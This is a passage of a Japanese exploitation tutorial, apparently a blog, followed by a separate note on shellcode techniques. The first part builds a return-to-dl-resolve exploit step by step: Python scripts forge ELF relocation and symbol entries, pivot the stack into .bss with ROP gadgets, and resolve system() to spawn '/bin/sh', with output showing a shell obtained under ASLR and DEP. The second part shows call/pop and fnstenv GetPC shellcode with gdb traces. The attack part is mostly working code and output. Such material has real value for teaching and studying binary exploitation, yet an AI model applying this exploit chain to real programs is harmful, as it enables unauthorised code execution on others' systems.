Elf32_Sym構造体のサイズは0x10バイトであり、このシンボルテーブルには6個のElf32_Sym構造体がある。 本来のreloc->r_infoは0x407であるから、参照しているインデックスreloc->r_info >> 8は0x4である。 ここでインデックスは0から始まるので、0x804820cにある0x40がwrite関数に対応するsym->st_nameである。 実際.dynstrセクションを見ると、オフセット0x40の位置に"write\x00"が入っていることが確認できる。 また、sym->st_infoはシンボルの種類を表しており、ここでは(STB_GLOBAL << 4) | STT_FUNC (=0x12) である。 これは、シンボルがグローバルかつ関数を指していることを意味する。

なお、reloc->r_info & 0xffはrelocationエントリの種類を表しており、ここではR_386_JMP_SLOT (=7) である。 _dl_fixup関数ではこの値がR_386_JMP_SLOTであることをチェックしており、異なる値の場合はエラーとなる。

この結果を元にコードを書き換えてみると次のようになる。

# test4.py

(snip)

# 2nd stage
cmd = '/bin/sh <&2 >&2'
addr_plt_start = 0x08048300  # objdump -d -j.plt a.out
#reloc_offset = 0x18         # objdump -d -j.plt a.out
addr_relplt = 0x80482b0      # objdump -s -j.rel.plt a.out
reloc_offset = (base_stage+28) - addr_relplt
addr_got_write = 0x804a00c   # objdump -s -j.rel.plt a.out
#r_info = 0x407              # objdump -s -j.rel.plt a.out
addr_dynsym = 0x80481cc      # objdump -s -j.dynsym a.out
addr_dynstr = 0x804822c      # objdump -s -j.dynstr a.out
addr_sym = base_stage + 36
align_dynsym = 0x10 - ((addr_sym-addr_dynsym) & 0xF)
addr_sym += align_dynsym
index_dynsym = (addr_sym - addr_dynsym) / 0x10
r_info = (index_dynsym << 8) | 0x7
st_name = 0x40               # objdump -s -j.dynsym a.out

buf = 'AAAA'
buf += struct.pack('<I', addr_plt_start)
buf += struct.pack('<I', reloc_offset)
buf += 'AAAA'
buf += struct.pack('<I', 1)
buf += struct.pack('<I', base_stage+80)
buf += struct.pack('<I', len(cmd))
buf += struct.pack('<I', addr_got_write)  # Elf32_Rel
buf += struct.pack('<I', r_info)
buf += 'A' * align_dynsym
buf += struct.pack('<I', st_name)         # Elf32_Sym
buf += struct.pack('<I', 0)
buf += struct.pack('<I', 0)
buf += struct.pack('<I', 0x12)
buf += 'A' * (80-len(buf))
buf += cmd + '\x00'
buf += 'A' * (100-len(buf))

p.stdin.write(buf)
print "[+] read: %r" % p.stdout.read(len(cmd))
p.wait()

ここで、Elf32_Sym構造体を置くアドレスはdynsymセクションの先頭からちょうど構造体のサイズ(=0x10)の倍数だけ進んだ位置でなければならない。 このコードでは、align_dynsym変数を使ってこのアラインメントを行っている。

実行すると、同じ結果となることが確認できる。

$ python test4.py 100
[+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x10\x83\x04\x08\xcd\x84\x04\x08\x00\x00\x00\x00\x18\xa8\x04\x08d\x00\x00\x00\xd3\x83\x04\x08\x18\xa8\x04\x08\x01\x84\x04\x08'
[+] read: '/bin/sh <&2 >&2'

ストリングテーブルを作ってみる

最後に、適当なアドレスに文字列"write\x00"を置き、これに合わせて計算したst->nameを指定してみる。

# test5.py

(snip)

# 2nd stage
cmd = '/bin/sh <&2 >&2'
addr_plt_start = 0x08048300  # objdump -d -j.plt a.out
#reloc_offset = 0x18         # objdump -d -j.plt a.out
addr_relplt = 0x80482b0      # objdump -s -j.rel.plt a.out
reloc_offset = (base_stage+28) - addr_relplt
addr_got_write = 0x804a00c   # objdump -s -j.rel.plt a.out
#r_info = 0x407              # objdump -s -j.rel.plt a.out
addr_dynsym = 0x80481cc      # objdump -s -j.dynsym a.out
addr_dynstr = 0x804822c      # objdump -s -j.dynstr a.out
addr_sym = base_stage + 36
align_dynsym = 0x10 - ((addr_sym-addr_dynsym) & 0xF)
addr_sym += align_dynsym
index_dynsym = (addr_sym - addr_dynsym) / 0x10
r_info = (index_dynsym << 8) | 0x7
#st_name = 0x40              # objdump -s -j.dynsym a.out
st_name = (addr_sym + 16) - addr_dynstr

buf = 'AAAA'
buf += struct.pack('<I', addr_plt_start)
buf += struct.pack('<I', reloc_offset)
buf += 'AAAA'
buf += struct.pack('<I', 1)
buf += struct.pack('<I', base_stage+80)
buf += struct.pack('<I', len(cmd))
buf += struct.pack('<I', addr_got_write)  # Elf32_Rel
buf += struct.pack('<I', r_info)
buf += 'A' * align_dynsym
buf += struct.pack('<I', st_name)         # Elf32_Sym
buf += struct.pack('<I', 0)
buf += struct.pack('<I', 0)
buf += struct.pack('<I', 0x12)
buf += 'write\x00'
buf += 'A' * (80-len(buf))
buf += cmd + '\x00'
buf += 'A' * (100-len(buf))

p.stdin.write(buf)
print "[+] read: %r" % p.stdout.read(len(cmd))
p.wait()

実行すると、同じ結果となることが確認できる。

$ python test5.py 100
[+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x10\x83\x04\x08\xcd\x84\x04\x08\x00\x00\x00\x00\x18\xa8\x04\x08d\x00\x00\x00\xd3\x83\x04\x08\x18\xa8\x04\x08\x01\x84\x04\x08'
[+] read: '/bin/sh <&2 >&2'

system関数でシェルを起動してみる

上で置いた文字列"write\x00""system\x00"に書き換え、スタックに並べた引数の位置をこれに合わせて直してみる。

# test6.py

(snip)

# 2nd stage
cmd = '/bin/sh <&2 >&2'
addr_plt_start = 0x08048300  # objdump -d -j.plt a.out
#reloc_offset = 0x18         # objdump -d -j.plt a.out
addr_relplt = 0x80482b0      # objdump -s -j.rel.plt a.out
reloc_offset = (base_stage+28) - addr_relplt
addr_got_write = 0x804a00c   # objdump -s -j.rel.plt a.out
#r_info = 0x407              # objdump -s -j.rel.plt a.out
addr_dynsym = 0x80481cc      # objdump -s -j.dynsym a.out
addr_dynstr = 0x804822c      # objdump -s -j.dynstr a.out
addr_sym = base_stage + 36
align_dynsym = 0x10 - ((addr_sym-addr_dynsym) & 0xF)
addr_sym += align_dynsym
index_dynsym = (addr_sym - addr_dynsym) / 0x10
r_info = (index_dynsym << 8) | 0x7
#st_name = 0x40              # objdump -s -j.dynsym a.out
st_name = (addr_sym + 16) - addr_dynstr

buf = 'AAAA'
buf += struct.pack('<I', addr_plt_start)
buf += struct.pack('<I', reloc_offset)
buf += 'AAAA'
buf += struct.pack('<I', base_stage+80)
buf += 'AAAA'
buf += 'AAAA'
buf += struct.pack('<I', addr_got_write)  # Elf32_Rel
buf += struct.pack('<I', r_info)
buf += 'A' * align_dynsym
buf += struct.pack('<I', st_name)         # Elf32_Sym
buf += struct.pack('<I', 0)
buf += struct.pack('<I', 0)
buf += struct.pack('<I', 0x12)
buf += 'system\x00'
buf += 'A' * (80-len(buf))
buf += cmd + '\x00'
buf += 'A' * (100-len(buf))

p.stdin.write(buf)
p.wait()

実行すると、次のようになる。

$ python test6.py 100
[+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x10\x83\x04\x08\xcd\x84\x04\x08\x00\x00\x00\x00\x18\xa8\x04\x08d\x00\x00\x00\xd3\x83\x04\x08\x18\xa8\x04\x08\x01\x84\x04\x08'
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$

system関数が呼び出され、シェルが起動できていることがわかる。

コードを整理してみる

各種アドレスや構造体の配置、計算式などを整理したコードを書くと次のようになる。

# exploit.py
import sys
import struct
from subprocess import Popen, PIPE

bufsize = int(sys.argv[1])

addr_dynsym = 0x080481cc     # readelf -S a.out
addr_dynstr = 0x0804822c     # readelf -S a.out
addr_relplt = 0x080482b0     # readelf -S a.out
addr_plt = 0x08048300        # readelf -S a.out
addr_bss = 0x0804a018        # readelf -S a.out
addr_plt_read = 0x8048310    # objdump -d -j.plt a.out
addr_got_read = 0x804a000    # objdump -d -j.plt a.out

addr_pop3 = 0x080484cd       # 0x080484cd: pop esi ; pop edi ; pop ebp ; ret  ;  (1 found)
addr_pop_ebp = 0x080483d3    # 0x08048433: pop ebp ; ret  ;  (3 found)
addr_leave_ret = 0x08048401  # 0x08048461: leave  ; ret  ;  (2 found)

stack_size = 0x800
base_stage = addr_bss + stack_size

buf1 = 'A' * bufsize
buf1 += 'AAAA' * 3
buf1 += struct.pack('<I', addr_plt_read)
buf1 += struct.pack('<I', addr_pop3)
buf1 += struct.pack('<I', 0)
buf1 += struct.pack('<I', base_stage)
buf1 += struct.pack('<I', 100)
buf1 += struct.pack('<I', addr_pop_ebp)
buf1 += struct.pack('<I', base_stage)
buf1 += struct.pack('<I', addr_leave_ret)

addr_reloc = base_stage + 20
addr_sym = addr_reloc + 8
align_dynsym = 0x10 - ((addr_sym-addr_dynsym) & 0xF)
addr_sym += align_dynsym
addr_symstr = addr_sym + 16
addr_cmd = addr_symstr + 7

reloc_offset = addr_reloc - addr_relplt
r_info = ((addr_sym - addr_dynsym) << 4) & ~0xFF | 0x7
st_name = addr_symstr - addr_dynstr

buf2 = 'AAAA'
buf2 += struct.pack('<I', addr_plt)
buf2 += struct.pack('<I', reloc_offset)
buf2 += 'AAAA'
buf2 += struct.pack('<I', addr_cmd)
buf2 += struct.pack('<I', addr_got_read)  # Elf32_Rel
buf2 += struct.pack('<I', r_info)
buf2 += 'A' * align_dynsym
buf2 += struct.pack('<I', st_name)        # Elf32_Sym
buf2 += struct.pack('<I', 0)
buf2 += struct.pack('<I', 0)
buf2 += struct.pack('<I', 0x12)
buf2 += 'system\x00'
buf2 += '/bin/sh <&2 >&2\x00'
buf2 += 'A' * (100-len(buf2))

p = Popen(['./a.out'], stdin=PIPE, stdout=PIPE)

p.stdin.write(struct.pack('<I', len(buf1)))
p.stdin.write(buf1)
print "[+] read: %r" % p.stdout.read(len(buf1))

p.stdin.write(buf2)
p.wait()

このコードは実行ファイル内のアドレスのみを参照しており、libcバイナリから計算されるオフセットは利用していない。

引数をセットして実行してみる。

$ python exploit.py 100
[+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x10\x83\x04\x08\xcd\x84\x04\x08\x00\x00\x00\x00\x18\xa8\x04\x08d\x00\x00\x00\xd3\x83\x04\x08\x18\xa8\x04\x08\x01\x84\x04\x08'
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$

ASLR+DEPが有効な条件下で、libcバイナリの情報を利用することなくシェルが起動できていることが確認できた。

関連リンク

シェルコードが置かれているアドレスを得る

シェルコード実行中にシェルコードが置かれているアドレスを得る方法についてのメモ。

callを使う

callを実行したとき、スタックにリターンアドレスとしてcallの次の命令のアドレスが積まれることを利用する。

        /* geteip_call.s */
        .intel_syntax noprefix
        .globl _start
_start:
        jmp caller
callee:
        jmp main
caller:
        call callee
main:
        pop ecx
        int3

アセンブルして対応するバイト列を確認してみる。

$ gcc -nostdlib geteip_call.s

$ objdump -d a.out
08048098 <_start>:
 8048098:       eb 02                   jmp    804809c <caller>

0804809a <callee>:
 804809a:       eb 05                   jmp    80480a1 <main>

0804809c <caller>:
 804809c:       e8 f9 ff ff ff          call   804809a <callee>

080480a1 <main>:
 80480a1:       59                      pop    ecx
 80480a2:       cc                      int3

デバッグ用のint3命令を除くと、このコードの長さは9バイトである。 実行すると、ecxレジスタにcallの次の命令のアドレスがセットされる。

$ gdb -q a.out
Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done.
(gdb) r
Starting program: /home/user/tmp/a.out

Program received signal SIGTRAP, Trace/breakpoint trap.
0x080480a3 in ?? ()
(gdb) i r ecx
ecx            0x80480a1        134512801
(gdb) quit

fnstenvを使う

x87 FPU命令のfnstenvが書き出す環境情報に、直前に実行したFPU命令のアドレスが含まれることを利用する。 具体的にはfnstenvが書き出すデータの12-15バイト目にこのアドレスが入るので、fnstenvのオペランドとして[esp-12]を指定し、pop命令により取り出す。

        /* geteip_fnstenv.s */
        .intel_syntax noprefix
        .globl _start
_start:
        fnop
        fnstenv [esp-12]
        pop ecx
        int3

fnop命令は普通のnop命令と同じく何もしないFPU命令であるが、ここで使うFPU命令は何でもよい。

アセンブルして対応するバイト列を確認してみる。

$ gcc -nostdlib geteip_fnstenv.s

$ objdump -d a.out
08048098 <_start>:
 8048098:       d9 d0                   fnop
 804809a:       d9 74 24 f4             fnstenv [esp-0xc]
 804809e:       59                      pop    ecx
 804809f:       cc                      int3

デバッグ用のint3命令を除くと、このコードの長さは7バイトである。 実行すると、ecxレジスタにfnop命令のアドレスがセットされる。

$ gdb -q a.out
Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done.
(gdb) r
Starting program: /home/user/tmp/a.out

Program received signal SIGTRAP, Trace/breakpoint trap.
0x080480a0 in ?? ()
(gdb) i r ecx
ecx            0x8048098        134512792
(gdb) quit

関連リンク